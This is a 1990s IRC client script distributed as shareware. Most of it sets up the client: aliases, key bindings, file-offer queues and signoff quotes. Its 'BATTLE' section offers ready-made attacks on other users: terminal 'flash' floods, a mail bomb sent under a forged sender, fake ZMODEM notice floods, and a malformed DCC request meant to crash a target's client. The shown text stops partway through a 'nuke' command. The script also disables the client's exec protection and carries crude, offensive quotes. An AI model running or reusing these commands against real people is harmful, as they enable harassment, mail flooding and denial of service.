home *** CD-ROM | disk | FTP | other *** search
/ CD Shareware Magazine 1996 December / CD_shareware_12-96.iso / WIN / INTERNET / SCRIPTS1.ZIP / V.IRC < prev    next >
Encoding:
Text File  |  1996-09-07  |  38.0 KB  |  1,983 lines

  1. #                       --VeNoM v2.01 by Dethnite--
  2. #
  3. # Ok, big release.  The XDCC Commands have been redone, and now include a
  4. # viewer for the Queue, a Queue limit, Individual Pack Minimum-Speeds,
  5. # and an enhanced look.  There is also a /RV command, which relays the last
  6. # internal script message to a nick or channel.  Message handlers have been
  7. # optimized, no longer beep, and are easier on the eyes now.  I have hopefully
  8. # fixed the bug in /TFR and /DELAY, as no problems have arisen in beta tests,
  9. # and I added a much-requested unix shell routine </SHELL> which opens a
  10. # window for unix commands.  There is a random quote signoff also, and if
  11. # you were on #oldwarez the night that quote suggestions were taking
  12. # place, you most likely have one of your quotes in there :>.  The script
  13. # has also been upgraded to a higher protection level, being unflashable, and
  14. # cannot be dcc-killed in any way.  There is now an autoreply function that
  15. # when somebody states your name publicly CTRL-A will bring up that person's
  16. # nick for easy answering.  A similar function </WNOTI> will highlight a
  17. # specified word if someone says it publicly,  I.E., if you are looking
  18. # for a certain program, and someone offers it, the word will be highlighted
  19. # on the screen so you won't miss it.  Slight other visual mods were added --
  20. # nothing spectacular though.  *Whew!*  I think that's it.  TTY on IRC.
  21. #                                                  -Dethnite-
  22.  
  23. ^set NOVICE OFF
  24. ^set EXEC_PROTECTION OFF
  25.  
  26. clear
  27.  
  28. echo Backdoor Free, as always, i bring you...
  29. echo :=========================================================:------------------:
  30. echo :                                                         :                  :
  31. echo :          `&a. .a$$$a. a&$$aa  a&$$$&asa&$$$$$$&sxa..  . : On the third day :
  32. echo : . ..axsss $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$       : of   the  second :
  33. echo :       $$$ $$$ $$$$$$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$       : month,  in   the :
  34. echo :       $$$ $$$ $$$ sss $$$ $$$ $$$ $$$ $$$ $$$ $$$       : year   of   Two- :
  35. echo :   .   $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$       : Thousand -  and- :
  36. echo :   ,   $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$       : One, there  will :
  37. echo :   a   $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$ $$$       : be  war.   There :
  38. echo :   @/. "$$ $$$a$$$$$$$s$$$ $$$s$$$a$$" $$$ $$" $$" gh!   : will be death... :
  39. echo :   ----- "$"' v e n o m `  $$$ ----------- " - " -----   : There will be -- :
  40. echo :          `                 "                  `         : Armageddon.      :
  41. echo :                                                         :                  :
  42. echo :===-VeNoM v2.01 by Dethnite-=============================:----Nostradamos---:
  43. echo
  44.  
  45. # Assigns, etc.
  46.  
  47. assign idletime 5
  48. assign autochannels ALL
  49.  
  50. assign ftp_pgm ftp
  51. assign flash_pgm flash
  52. assign showjoin on
  53. assign bandef Normal
  54. assign extmes ON
  55. assign floodp ON
  56. assign cprot ON
  57. assign prot ON
  58. assign HLINGS OFF
  59. assign nhp OFF
  60. assign rejoin ON
  61. assign ctcpauto ON
  62. assign autorename ON
  63. assign delaycmd OFF
  64. assign begcmd OFF
  65. assign autoop on
  66. assign leechkick OFF
  67.  
  68. assign AUTOGET ON
  69. assign AUTOSEND ON
  70. assign AUTOCLOSE OFF
  71. assign SECURITY OFF
  72. assign OVERWRITE OFF
  73. assign NUKE_PGM nuke
  74. assign CHRATE ON
  75. assign CHGETS OFF
  76.  
  77. # Sensor Settings -- Flood Protection, etc.
  78.  
  79. @ msgsensor    =  10
  80. @ noticesensor =  20
  81. @ ctcpsensor   =  4
  82. @ nicksensor   =  3
  83. @ msensor      =  2
  84. @ ksensor      =  3
  85. @ dcclimit     =  10
  86. @ resetcount   =  16
  87. @ ig_count     =  2
  88. @ TMPCONT      =  0
  89. @ DCCMINSPEED  =  0
  90.  
  91. # Directories for Loading VeNoM
  92.  
  93. EVAL @ venomfile = [$HOME/.venom]
  94. EVAL @ venombak = [$HOME/.venom.bak]
  95. EVAL @ UPLOADDIR = [$W]
  96. EVAL @ DOWNLOADDIR = [$W]
  97. EVAL @ AWAYFLE = [$venomfile\.away]
  98. EVAL @ OFFERFILE = [$venomfile\.xdcc]
  99. EVAL ^set logfile $W/irclog.ex
  100.  
  101. ### Modifiable Crap
  102.  
  103. assign ex [<-V->]
  104. assign venom.ver In Command of VeNoM v2.01 by Dethnite
  105. assign fingermsg <- VeNoM v2.01 by Dethnite -> 
  106. assign pingmsg VeNoM.... for the serpent shows no mercy.  
  107. assign floodmsg So you've decided to flood me.  Heh.  Fuck you.
  108. assign pk <- VeNoM ->
  109. assign abkickmsg <- Auto BKick ->
  110. assign channel.floodmsg <- That was cute... now GiT! ->
  111. assign nick.floodmsg <- Niq Flood ->
  112. assign uban.kickmsg <- User Ban ->
  113. assign ikey.kickmsg <- Wrong Key ->
  114. assign igtypes MSGS CTCP NOTICES INVITES NOTES PUBLIC
  115. assign defumes And I'm not Coming Back!
  116. assign signmsg <VeNoM v2.01> - The end of the world draws near...
  117. assign idlemes 5 Minute Autosetaway
  118. assign usermode +is-w
  119. assign false_chars ** ** ** ** ** *;* ** ** *$$* ** **
  120. assign bogus_patterns *fuck* *shit* *suck* *dick* *penis* *cunt* *haha* *fake* *split* *ass* *hehe* *bogus* *yawn* *leet*
  121.  
  122. ### End Customization Crap
  123.  
  124. ### The Following Commands are VITAL to VeNoM.  *!DO NOT MODIFY THEM!*
  125.  
  126. set input_prompt VeNoM v2.01 is loading. [.....]
  127.  
  128. ^set status_format %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%M%F %W%>%U 
  129.  
  130. EVAL ^assign OLD_STATUS $STATUS_FORMAT
  131.  
  132. @ num.mlist = 0
  133. @ mcount = 0
  134. @ killadd = 0
  135. @ kcount = 0
  136. @ dccsent = 0
  137. @ nickcnt = 0
  138. @ away_messages = 0
  139. @ msgmax = 12
  140. @ MYSEND = [NO]
  141. @ FRIENDADD = 0
  142. @ GETCOUNT = 0
  143. @ VQC = 0
  144. @ QSLOTS = 30
  145. @ VCOUNT = 0
  146. @ PRIVADD = 0
  147. @ ENEMYADD = 0
  148. @ COMMENTADD = 0
  149. @ GETCOUNT = 0
  150. @ TOTPACK = 0
  151.  
  152. EVAL @ flood_ok = [$help_service]
  153. assign ts tHA sHiT!
  154. assign tsp tHA sHiT!
  155. assign gender his
  156. assign notepad note.txt
  157. assign tssavefile .vthasrc
  158. assign bandef h
  159. assign ban_name HOST
  160. assign cstat ON
  161. assign awaystat ON
  162. assign isaway NO
  163. assign logirc OFF
  164. assign showleave ON
  165. assign showsign ON
  166. assign mesbeep OFF
  167. assign areply $N
  168.  
  169. ## Quote Assigns
  170.  
  171. alias runq {
  172. ^assign numqr 55
  173. }
  174.  
  175. ^assign quoat1 <stdio> VeNoM v2.01 - Cause its a jungle out there
  176. ^assign quoat2 <DeadL> VeNoM v2.01 - There is No Antidote
  177. ^assign quoat3 <stdio> VeNoM v2.01 - The OTHER white meat
  178. ^assign quoat3 <stdio> VeNoM v2.01 - Family Fun for EVERYONE!
  179. ^assign quoat4 <JakeStone> VeNoM v2.01 - It's What I LEECH With!
  180. ^assign quoat5 <JianWa> VeNoM v2.01 - A new fragrance from dethnite
  181. ^assign quoat6 <[Messiah]> VeNoM v2.01 - My, What Big Fangs You Have!
  182. ^assign quoat7 <MrClean> VeNoM v2.01 - The Silent Killer
  183. ^assign quoat8 <JakeStone> VeNoM v2.01 - Your True Choice!
  184. ^assign quoat9 <despair> VeNoM v2.01 - dont you wish you were this fucking cool?
  185. ^assign quoat10 <jaPPa> VeNoM v2.01 - tell it to the IRS.
  186. ^assign quoat11 <crymson> VeNoM v2.01 - Guaranteed Core Dump Protection -- (Segfault, Core Dumped)
  187. ^assign quoat12 <conio> VeNoM v2.01 - Don't leave home without it.
  188. ^assign quoat13 <DeadL> VeNoM v2.01 - Best Script, Without A Prescription!
  189. ^assign quoat14 <stdio> VeNoM v2.01 - Dou you know where YOUR children are?
  190. ^assign quoat15 <DeadL> VeNoM v2.01 - The Downfall Of #oldwarez
  191. ^assign quoat16 <stdio> VeNoM v2.01 - Is that a rabbit?
  192. ^assign quoat28 <stdio> VeNoM v2.01 - Cause its a jungle out there
  193. ^assign quoat29 <DeadL> VeNoM v2.01 - There is No Antidote
  194. ^assign quoat30 <stdio> VeNoM v2.01 - The OTHER white meat
  195. ^assign quoat31 <stdio> VeNoM v2.01 - Family Fun for EVERYONE!
  196. ^assign quoat32 <JakeStone> VeNoM v2.01 - It's What I LEECH With!
  197. ^assign quoat33 <JianWa> VeNoM v2.01 - A new fragrance from dethnite
  198. ^assign quoat34 <[Messiah]> VeNoM v2.01 - "My, What Big Fangs You Have!"
  199. ^assign quoat35 <MrClean> VeNoM v2.01 - The Silent Killer
  200. ^assign quoat36 <JakeStone> VeNoM v2.01 - Your True Choice!
  201. ^assign quoat37 <despair> VeNoM v2.01 - dont you wish you were this fucking cool?
  202. ^assign quoat38 <jaPPa> VeNoM v2.01 - tell it to the IRS.
  203. ^assign quoat39 <crymson> VeNoM v2.01 - Guaranteed Core Dump Protection -- (Segfault, Core Dumped)
  204. ^assign quoat40 <conio> VeNoM v2.01 -- Don't leave home without it.
  205. ^assign quoat41 <DeadL> VeNoM v2.01 - Best Script, Without A Prescription!
  206. ^assign quoat42 <stdio> VeNoM v2.01 - Dou you know where YOUR children are?
  207. ^assign quoat43 <DeadL> VeNoM v2.01 -  The Downfall Of #oldwarez
  208. ^assign quoat44 <stdio> VeNoM v2.01 - Is that a rabbit?
  209. ^assign quoat45 <SlowBurn> VeNoM v2.01 - 'Cuz Sliced Bread Sucks!
  210. ^assign quoat46 <KaZuM> VeNoM v2.01 - Yeeeow!  It bit me in the ass!
  211. ^assign quoat47 <JakeStone> VeNoM v2.01 - Better than NetSEX
  212. ^assign quoat48 <DeadL> VeNoM v2.01 - Make up your own fucking signoff quote!
  213. ^assign quoat49 <[Messiah]> VeNoM v2.01 - Spit or Swallow?
  214. ^assign quoat50 <[Messiah]> VeNoM v2.01 - Not Your Ordinary Snake In The Grass
  215. ^assign quoat51 <_ViSUAL_> VeNoM v2.01 - The darkness gathers me.
  216. ^assign quoat52 <DeadL> VeNoM v2.01 - The One True Script - You Don't Like It? Fuck You!
  217. ^assign quoat53 <UMass_No1> VeNoM v2.01 - No Bugs (Microsoft Didn't Create it)
  218. ^assign quoat54 <DrasTiC> VeNoM v2.01 - No Backdoors....really!  (Local Kill By Dethnite)
  219. ^assign quoat55 <Kerhop> VeNoM v2.01 - Deadlier than Aids
  220. ^assign quoat17 <SlowBurn> VeNoM v2.01 - 'Cuz Sliced Bread Sucks!
  221. ^assign quoat18 <KaZuM> VeNoM v2.01 - Yeeeow!  It bit me in the ass!
  222. ^assign quoat19 <JakeStone> VeNoM v2.01 - Better than NetSEX
  223. ^assign quoat20 <DeadL> VeNoM v2.01 - Make up your own fucking signoff quote!
  224. ^assign quoat21 <[Messiah]> VeNoM v2.01 - Spit or Swallow?
  225. ^assign quoat22 <[Messiah]> VeNoM v2.01 - Not Your Ordinary Snake In The Grass
  226. ^assign quoat23 <_ViSUAL_> VeNoM v2.01 - The darkness gathers me.
  227. ^assign quoat24 <DeadL> VeNoM v2.01 - The One True Script - You Don't Like It? Fuck You!
  228. ^assign quoat25 <UMass_No1> VeNoM v2.01 - No Bugs (Microsoft Didn't Create it)
  229. ^assign quoat26 <DrasTiC> VeNoM v2.01 - No Backdoors....really!  (Local Kill By Dethnite)
  230. ^assign quoat27 <Kerhop> VeNoM v2.01 - Deadlier than Aids
  231.  
  232. ## End of Quote Assigns
  233.  
  234. set AUTO_UNMARK_AWAY OFF
  235. set AUTO_WHOWAS OFF
  236. set BEEP ON
  237. set BEEP_MAX 2
  238. set BEEP_ON_MSG NONE
  239. set BEEP_WHEN_AWAY OFF
  240. set BOLD_VIDEO ON
  241. set CHANNEL_NAME_WIDTH 15
  242. set CLOCK ON
  243. set CLOCK_24HOUR OFF
  244. set COMMAND_MODE OFF
  245. set CONTINUED_LINE  
  246. set DCC_BLOCK_SIZE 4096
  247. set DISPLAY ON
  248. set FLOOD_WARNING OFF
  249. set FULL_STATUS_LINE ON
  250. set HELP_WINDOW OFF
  251. set HIDE_PRIVATE_CHANNELS OFF
  252. set HIGHLIGHT_CHAR BOLD
  253. set HISTORY 30
  254. set HOLD_MODE OFF
  255. set INDENT ON 
  256. set INPUT_PROTECTION ON
  257. set INSERT_MODE ON
  258. set INVERSE_VIDEO ON
  259. set LASTLOG 100
  260. set LASTLOG_LEVEL ALL DCC
  261. set LOG OFF
  262. EVAL ^if ([$MAIL]==[0]) {^set mail 1}
  263. set MAX_RECURSIONS 200
  264. set NO_CTCP_FLOOD ON
  265. set NOTIFY_ON_TERMINATION OFF
  266. set SCROLL ON
  267. set SEND_IGNORE_MSG OFF
  268. set SHOW_AWAY_ONCE ON
  269. set SHOW_CHANNEL_NAMES ON
  270. set SHOW_END_OF_MSGS OFF
  271. set SHOW_NUMERICS OFF
  272. set SHOW_STATUS_ALL ON
  273. set SHOW_WHO_HOPCOUNT ON
  274. set STATUS_AWAY  <A>
  275. set STATUS_CHANNEL  %C
  276. set STATUS_CHANOP @
  277. set STATUS_CLOCK  %T
  278. set STATUS_HOLD  ** MORE **
  279. set STATUS_MODE  (+%+)
  280. set STATUS_MAIL  M:%M
  281. set STATUS_NOTIFY  A:%F
  282. set STATUS_OVERWRITE (overwrite) 
  283. set STATUS_QUERY  Q:%Q
  284. set STATUS_UMODE  (+%#)
  285. set STATUS_USER  <- VeNoM v2.01 ->
  286. set STATUS_WINDOW ^
  287. set SUPPRESS_SERVER_MOTD ON
  288. set TAB ON
  289. set TAB_MAX 2
  290. set UNDERLINE_VIDEO ON
  291. set USER_WALLOPS OFF
  292. set VERBOSE_CTCP OFF
  293. set WARN_OF_IGNORES ON
  294.  
  295. bind meta1-[ meta2
  296. bind meta1-O meta2
  297. bind meta2-A backward_history
  298. bind meta2-B forward_history
  299. bind meta2-C forward_character
  300. bind meta2-D backward_character
  301. bind ^B self_insert
  302. bind ^_ self_insert
  303. bind ^V self_insert
  304. bind ^Z stop_irc
  305. bind ^X switch_channels
  306. bind ^O parse_command /ig $,
  307. bind ^I parse_command ^getmsg 1 $msglist
  308. bind ^R parse_command ^getmsg -1 $msglist
  309. bind ^F parse_command //flush
  310. bind ^Y parse_command /holdset
  311. bind ^P parse_command /xdcc plist
  312. bind ^A parse_command //^type ${arl} - 
  313.  
  314. ### Minor Aliases
  315.  
  316. alias ww whowas
  317. alias sc names $C
  318. alias wi whois
  319. alias chops w -chops
  320. alias re redirect
  321. alias c mode $C $0-
  322. alias ji //join $decode($inv_chan)
  323. alias dc /dcc chat
  324. alias dcg //dcc close get
  325. alias dcs //dcc close send
  326. alias dcx //dcc close chat
  327. alias ex exec
  328. alias wii whois $0 $0
  329. alias quit {
  330. if ([$0]) {
  331. signoff $0-
  332. }{
  333. runq
  334. @ q1 = [$rand($numqr)]
  335. @ q2 = [$rand($q1)]
  336. @ qr = [$rand($q2)]
  337. ^assign quate $(quoat$qr)
  338. signoff $quate
  339. }}
  340. alias m msg
  341. alias n notice
  342. alias mm msg $0 [To: $0] $1-
  343. alias unignore noig
  344. alias about aboutgcommand
  345. alias avar {^assign $0 $1-}
  346. alias umode mode $N
  347. alias nnotice quote NOTICE $0 :$1-
  348. alias kkick quote KICK $0 $1 :$2-
  349. alias mmode quote MODE $0-
  350. alias mc quote MODE $C -lsnmpitk $chankey
  351. alias nokey quote MODE $C -k $chankey
  352. alias sec_check if (rmatch($0 $SECLIST)) {@ FUNCTION_RETURN = [YES]}{@ FUNCTION_RETURN = [NO]}
  353. alias isnum if (rmatch($0 *0* *1* *2* *3* *4* *5* *6* *7* *8* *9*)) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0}
  354. alias isalpha if (rmatch($0 *a* *b* *c* *d* *e* *f* *g* *h* *i* *j* *k* *l* *m* *n* *o* *p* *q* *r* *t* *u* *v* *w* *x* *y* *z*)) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0}
  355. alias _checkkey if (!rmatch($M *k*)) {^set status_mode  (+%+)}{^timer 15 _checkkey}
  356. alias wl wholeft
  357. alias i inv $,
  358. alias bkick bk
  359. alias deop dop
  360. alias dop ndop $C $0-
  361. alias getig {@ FUNCTION_RETURN = ig_count * 60}
  362. alias submode if (mcount>0) {@ mcount = mcount - 1}
  363. alias subkick if (kcount>0) {@ kcount = kcount - 1}
  364. alias chanpass if ((match($strip(# $0) $AutoChannels))||([$AutoChannels]==[ALL])) {^assign FUNCTION_RETURN YES}
  365. alias _delayop if (isop($decode($1) $0)==0) {/mmode $0 +o $decode($1)}
  366. alias enickonly {^assign FUNCTION_RETURN $encode($left($index(! $0) $0))}
  367. alias userdomain @ function_return = LEFT($INDEX(@ $0) $0)##[@]##MID(${1+INDEX(. $0)} 99 $0)
  368. alias hostonly @ function_return = mid(${index(@ $0)+1} 99 $0)
  369. alias newdate @ function_return = mid(4 12 $stime($0))
  370. alias vecho {
  371. ^xecho -level crap $ex $0-
  372. ^assign lastv $ex $0-
  373. }
  374. alias pubact if (isop($N $1)) {/kkick $1 $0 $channel.floodmsg}
  375. alias serv {/if ([$0]) {//server $0-}{/if ([$_server]!=[]) {//server $_server}{//server 1}}}
  376. alias pubecho if ([$1]==[$C]) {/echo <$0> $2-}{/echo <$0:$1> $2-}
  377. alias safe {^assign FUNCTION_RETURN $strip(\;\(\)*/\\\{\}$$~`|'\" $0-)}
  378. alias msafe {^assign FUNCTION_RETURN $strip(\;$$ $0-)}
  379. alias j if ((![$0])||([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[0])||([-]==[$[1]0])) {//join $0-} {//join #$0-}
  380. alias l if (![$0]) {//leave $C}{/if (([&]==[$[1]0])||([#]==[$[1]0])||([$0]==[*])) {//leave $0} {//leave #$0}}
  381. alias ap {
  382. ^set STATUS_USER [Lag (?)]
  383. quote PING $time() $S
  384. }
  385. alias tref {
  386. ^timer -delete $0
  387. ^timer -refnum $0-
  388. }
  389. alias holdset {
  390. ^set HOLD_MODE TOGGLE
  391. vecho Screen pausing mode is now $HOLD_MODE\.
  392. }
  393. alias cwait {
  394. wait -CMD #
  395. wait -CMD $0-
  396. }
  397. alias purge {
  398. foreach $0 ii {/purge $0.$ii}
  399. ^assign -ii
  400. ^assign -$0
  401. }
  402. alias sb {
  403. ^on ^367 "*" {
  404. if ([$4]) {/echo *** $[10]1 $[31]2 $[16]3 at $newdate($4)}
  405. {/vecho $1-}}
  406. if ([$0]) {//mode #$strip(# $0) +b}
  407. {//mode $C +b}
  408. cwait ^on 367 - "*"
  409. }
  410. alias w if ([$0]) {
  411. if ([$0]==[-chops]) {//who $0 $C $1-} 
  412. {//who -h $0-}}
  413. {//who $C}
  414. alias t {
  415. if ([$0]==[#*]) {//topic $0-}
  416. {//topic $C $0-}}
  417. alias inv {
  418. if ([$0]) {
  419. if ([$1]) {//invite $0-}
  420. {//invite $0 $C}}
  421. {/vecho You need to specify a nick to invite.}}
  422. alias pubcat {
  423. if ([$0]) {//^exec -notice $C cat $0}
  424. {/vecho Usage: /pubcat <filename>}}
  425. alias ver {
  426. if ([$0]) {/ctcp $0 VERSION}
  427. {/ctcp $C VERSION}}
  428. alias p {
  429. if ([$0]) {//ping $0}{//ping $C}}
  430. alias op {
  431. mmode $C +ooo $0 $1 $2
  432. if ([$3]) {/op $3-}}
  433. alias ndop {
  434. mmode $0 -oo $1 $2
  435. if ([$3]) {/ndop $0 $3-}}
  436. alias ftm {
  437. if ([$left(1 $0)]==[0]) {@ timestr = [$mid(1 4 $0)]}{@ timestr = [$left(5 $0)]}
  438. @ timestr = [$timestr $tolower($right(2 $0))]
  439. @ FUNCTION_RETURN = [$timestr]
  440. }
  441.  
  442. ### Unix Commands
  443.  
  444. alias sping exec ping $0 | tail -2
  445. alias wc exec wc
  446. alias quota exec quota -v
  447. alias du exec du -s $HOME
  448. alias ps exec ps -x
  449. alias kp exec kill -9
  450. alias cal exec cal
  451. alias ls2 exec ls -FC
  452. alias ls3 exec ls -aFCs
  453. alias ls exec ls -l
  454. alias nsl exec nslookup
  455. alias rm exec rm
  456. alias mv exec mv
  457. alias cp exec cp -r
  458. alias mkdir exec mkdir
  459. alias chmod exec chmod
  460. alias find exec find $HOME -name $0 -print
  461. alias sort exec sort
  462. alias gzip exec gzip
  463. alias gunzip exec gunzip
  464. alias mail exec mail $0 < $1
  465.  
  466. alias shell if (openwin == 0) {
  467. ^window new name UnixShell level crap,all,lastlog prompt shell> 
  468. ^set hold_mode off
  469. ^on ^exec_exit UnixShell {
  470. ^window refnum UnixShell kill
  471. vecho Shell session terminated.
  472. }
  473. ^on ^window_kill UnixShell {^exec -kill %Shell}
  474. @ openwin = 0
  475. ^exec -window -name UnixShell sh
  476. ^query %UnixShell
  477. vecho Type ^W? for windowing commands, or EXIT to exit.
  478. }{
  479. @ openwin = 0
  480. ^exec -kill %UnixShell
  481. ^window kill UnixShell
  482. }
  483.  
  484. # The Timed File Requesting routine
  485.  
  486. alias tfr {
  487. vecho Currently, Timed-File Requesting is $begcmd\.
  488. ^assign begcmd $"[<-V->] Turn Timed-File Requesting ON or OFF?: "
  489. if ([$begcmd]==[on]) {
  490. ^assign begprog $"[<-V->] Enter the program you are looking for (spaces are allowed): "
  491. if ([$begprog]) {
  492.   @ begtime = 300
  493.   vecho Timed-File Requesting is now $begcmd\.
  494.   vecho TFR's will execute every 5 minutes.
  495.   eval ^timer $begtime quote PRIVMSG $N BEGEXECUTE
  496.  }}{ 
  497.  if ([$begcmd]==[off]) {
  498.   /eval ^assign -begtime
  499.   /eval ^assign -begprog
  500.   /eval ^assign begcmd OFF
  501.   vecho Timed-File Requesting is now OFF.
  502.  }}
  503. }
  504.  
  505. on ^raw_irc "% PRIVMSG % *BEGEXECUTE*" if ([$begcmd]==[on]) {
  506. vecho Requesting...
  507. //say I am looking for $begprog ... if you have it, or have seen it, /MSG me!
  508. eval ^timer $begtime quote PRIVMSG $N BEGEXECUTE
  509. }
  510.  
  511. ### DCC PARSER 
  512.  
  513. alias dcc {
  514. //dcc $0-
  515. if ([$0]==[SEND]) {^timer 60 checksend $1 $2}
  516. if ([$0]==[CHAT]) {
  517. ^addmsg \=$1 $msglist
  518. ^on ^401 "% $1 *" {
  519. ^dcx $1
  520. vecho I can't find $1 on IRC. Closing DCC CHAT request.
  521. }
  522. cwait ^on ^401 - "% $1 *"
  523. }}
  524.  
  525. ### IsOp Function 
  526.  
  527. alias isop {
  528. if (([$1] == [$C])&&([$0] == [$N])) {
  529. if ([$P] == [@]) {@ FUNCTION_RETURN = 1}{@ FUNCTION_RETURN = 0}}
  530. {/EVAL @ FUNCTION_RETURN = $ischanop($0 $1)}}
  531.  
  532. # Flash / Unflash Commands
  533.  
  534. alias unflash {
  535. ^set status_user c
  536. ^set status_user \;\24r
  537. ^set status_user m
  538. ^set status_user ?5l
  539. ^set status_user <- VeNoM ->
  540. ^set status_clock c
  541. ^set status_clock \;\24r
  542. ^set status_clock m
  543. ^set status_clock ?5l
  544. ^set status_clock 666
  545. timer 3 ^set status_clock %T
  546. echo [<-V->] PRESS CTRL-L TO FIX.
  547. }
  548.  
  549. alias flash {
  550.   if ([$0]) {
  551.     Userhost $0 -CMD if ([$3]) {
  552.      if ([$4]!=[<UNKNOWN>]) {
  553.        ^exec $flash_pgm $strip(#;~ $3)@$4 &
  554.        ^exec $flash_pgm $strip(#;~ $3)@$4 &
  555.             vecho Flashed $0 \($strip(#;~ $3)@$4\)
  556.      }
  557.          {/vecho I can't find $0 on IRC.}
  558.     }
  559.   }
  560.   {/vecho USAGE: /FLASH <nick>.}
  561. }
  562.  
  563. alias superflash {
  564. if (match($1 basic killer zmodem)) {
  565. ^assign frias $1
  566. }
  567. {
  568. ^assign frias ${friar}
  569. }
  570. if ([$0]) {
  571. userhost $0 -cmd if ([$4]!=[<UNKNOWN>]) {
  572. ^echo [<-V->]  Sending a ${frias} flash to $0 \($strip(~ $3)@$4\)
  573. ^exec superflash $strip(~ $3)@$4 $frias
  574. }
  575. {
  576. ^echo [<-V->]  I can't find $0.
  577. }
  578. }
  579. {
  580. ^echo [<-V->]  You must specify a nick.
  581. }
  582. ^timer 2 ^assign -frias
  583. }
  584.  
  585. # The "BATTLE" Commands
  586.  
  587. assign TSU ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  588.  
  589.  
  590.  
  591.  
  592.  
  593.  
  594.  
  595.  
  596.  
  597.  
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.  
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612.  
  613.  
  614.  
  615.  
  616.  
  617.  
  618.  
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627.  
  628.  
  629.  
  630.  
  631.  
  632.  
  633.  
  634.  
  635.  
  636.  
  637.  
  638.  
  639.  
  640.  
  641.  
  642.  
  643.  
  644.  
  645.  
  646.  
  647.  
  648.  
  649.  
  650.  
  651.  
  652.  
  653.  
  654.  
  655.  
  656.  
  657.  
  658.  
  659.  
  660.  
  661.  
  662.  
  663.  
  664.  
  665.  
  666.  
  667.  
  668.  
  669.  
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680.  
  681.  
  682.  
  683.  
  684.  
  685.  
  686.  
  687.  
  688.  
  689.  
  690.  
  691.  
  692.  
  693.  
  694.  
  695.  
  696.  
  697.  
  698.  
  699.  
  700.  
  701.  
  702.  
  703.  
  704.  
  705.  
  706.  
  707.  
  708.  
  709.  
  710.  
  711.  
  712.  
  713.  
  714.  
  715.  
  716.  
  717.  
  718.  
  719.  
  720.  
  721.  
  722.  
  723.  
  724.  
  725.  
  726.  
  727.  
  728.  
  729.  
  730.  
  731.  
  732.  
  733.  
  734.  
  735.  
  736.  
  737.  
  738.  
  739.  
  740.  
  741.  
  742.  
  743.  
  744.  
  745.  
  746.  
  747.  
  748.  
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755.  
  756.  
  757.  
  758.  
  759.  
  760.  
  761.  
  762.  
  763.  
  764.  
  765.  
  766. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  767.  
  768. assign RCRAPCRAP abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789a
  769. alias randcrap {
  770.   @ RCOUNTER = 1
  771.   while (RCOUNTER < [$0]) {
  772.     @ RCOUNTER = RCOUNTER + 1
  773.     EVAL ^assign RCRAP $MID($rand(62) 1 $RCRAPCRAP)${RCRAP}
  774.     }
  775.   EVAL ^assign RCRAP $MID($rand(25) 1 $RCRAPCRAP)${RCRAP}
  776.   ^assign FUNCTION_RETURN $RCRAP
  777.   ^assign -RCRAP
  778.   }
  779.  
  780. alias mbomb {
  781. if ([$0]) {
  782. userhost $0 -cmd if ([$4]!=[<UNKNOWN>]) {
  783. vecho <SENDING MAIL BOMB> To: $0\($strip(~ $3)@$4\)
  784. ^exec ./mflash netcom.com TeTsuO@Forge.of.Evil $strip(~ $3)@$4 
  785. }
  786. {vecho I can't find $0 on irc.}
  787. }
  788.    {vecho USAGE: /MBOMB <nick>.}
  789. }
  790.  
  791. alias fakezm {
  792. vecho <FAKE-ZMODEM STRING SENT> To: $0
  793. nnotice $0 **B01000000$rand(99)fed$rand(9)}
  794.  
  795. alias floodzm {
  796. vecho <FAKE-ZMODEM FLOOD SENT> To: $0
  797. nnotice $0 **B01000000$rand(99)fed$rand(9)
  798. nnotice $0 **B01000000$rand(99)fed$rand(9)
  799. nnotice $0 **B01000000$rand(99)fed$rand(9)
  800. nnotice $0 **B01000000$rand(99)fed$rand(9)
  801. nnotice $0 **B01000000$rand(99)fed$rand(9)
  802. nnotice $0 **B01000000$rand(99)fed$rand(9)
  803. nnotice $0 **B01000000$rand(99)fed$rand(9)
  804. nnotice $0 **B01000000$rand(99)fed$rand(9)
  805. nnotice $0 **B01000000$rand(99)fed$rand(9)
  806. nnotice $0 **B01000000$rand(99)fed$rand(9)
  807. nnotice $0 **B01000000$rand(99)fed$rand(9)
  808. nnotice $0 **B01000000$rand(99)fed$rand(9)
  809. nnotice $0 **B01000000$rand(99)fed$rand(9)
  810. nnotice $0 **B01000000$rand(99)fed$rand(9)
  811. }
  812.  
  813. alias vnrepeat {
  814.   @ RCOUNT = 0
  815.   ^assign vncont TRUE
  816.   while ((RCOUNT < [$0])&&([$vncont]==[TRUE])) {
  817.     @ RCOUNT = RCOUNT + 1
  818.     /$1-
  819.     wait
  820.     ^on ^401 * {;^assign vncont FALSE}
  821.     ^on ^407 * {;^assign vncont FALSE}
  822.     wait
  823.   }
  824.   ^assign -RCOUNT
  825.   ^assign -akcont
  826.   ^on ^401 -* 
  827.   ^on $407 -*
  828. }
  829.  
  830. alias dcckill {
  831.   if ([$0]) {
  832.      vecho <DCC CLIENT-KILL SENT> To: $0
  833.      quote privmsg $0 :DCC SEND $randcrap(5)$${rand(9999)} $${rand(9999999999)} $${rand(9999)} $${rand(9999)}
  834.   }
  835.   {USAGE: /DCCKILL <nick>}
  836. }
  837.  
  838. alias repeatcmd {
  839.   @ RCOUNT = 0
  840.   while (RCOUNT < [$0]) {
  841.     @ RCOUNT = RCOUNT + 1
  842.     /$1-
  843.     }
  844.   ^assign -RCOUNT
  845.   }
  846.  
  847. alias nuke {
  848.  if ([$0]) {
